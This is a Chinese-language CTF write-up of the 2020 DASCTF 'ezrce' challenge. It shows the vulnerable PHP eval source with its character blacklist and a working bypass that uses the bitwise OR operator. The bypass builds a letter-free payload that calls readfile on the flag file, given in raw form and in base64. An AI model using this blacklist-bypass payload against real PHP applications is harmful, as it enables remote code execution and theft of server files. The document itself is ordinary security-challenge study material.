Toc
0 results found
白帽酱
2020安恒DASCTF八月浪漫七夕战 ezrce Writeup
2020/08/25 CTF WRITEUP

早上有点事 差点忘了有比赛233

<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('you are not smart');
}
}
eval("echo($code)");
?>

题目过滤了全部字母和数字和部分位运算符

由http头X-Powered-By: PHP/7.3.21可知 服务器PHP版本为7.3.21

需要构造无字母数字的playload

虽然过滤了部分位运算符 但还是漏了一个| 或运算

利用或运算符构造playload 调用readfile函数 读取根目录flag
playload

code=('````````'|'	')('/````'|'/'));//
bas64
Y29kZT0oJ2BgYGBgYGBgJ3wnEgUBBAYJDAUnKSgnL2BgYGAnfCcvBgwBBycpKTsvLw==
本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!